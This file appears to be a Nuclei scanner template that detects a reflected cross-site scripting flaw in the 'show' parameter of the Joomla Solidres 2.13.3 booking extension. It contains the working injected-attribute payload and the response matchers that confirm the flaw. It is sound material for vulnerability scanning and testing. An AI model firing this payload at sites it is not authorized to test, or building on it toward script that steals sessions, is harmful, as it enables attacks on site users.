joomla-solidres-xss: Joomla Solidres 2.13.3 - Cross-Site Scripting

id: joomla-solidres-xss

info:
  name: Joomla Solidres 2.13.3 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Joomla extension for Solidres - Online Booking System & Reservation Software is vulnerable to XSS in GET parameter 'show'.
  reference:
    - https://www.exploit-db.com/exploits/51638
    - https://cxsecurity.com/issue/WLB-2023070080
    - https://cyberlegion.io/joomla-solidres-2-13-3-cross-site-scripting/
  classification:
    cwe-id: CWE-79,CWE-83
  metadata:
    verified: true
    max-request: 1
  tags: xss,joomla,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/joomla/greenery_hub/index.php/en/hotels/reservations?location=d2tff&task=hub.search&ordering=score&direction=desc&type_id=0&show=db8ck%22onfocus=%22confirm(document.domain)%22autofocus=%22xwu0k"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'onfocus="confirm(document.domain)"autofocus'
          - 'com_solidres'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008fa7e7057a6741086737376d4d944bc2ab7775c552e3213dc0f7041b470eb4cc02204388125ada4cc544f2e7ee121254432239d0885de3fe450863723c91fae0a624:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.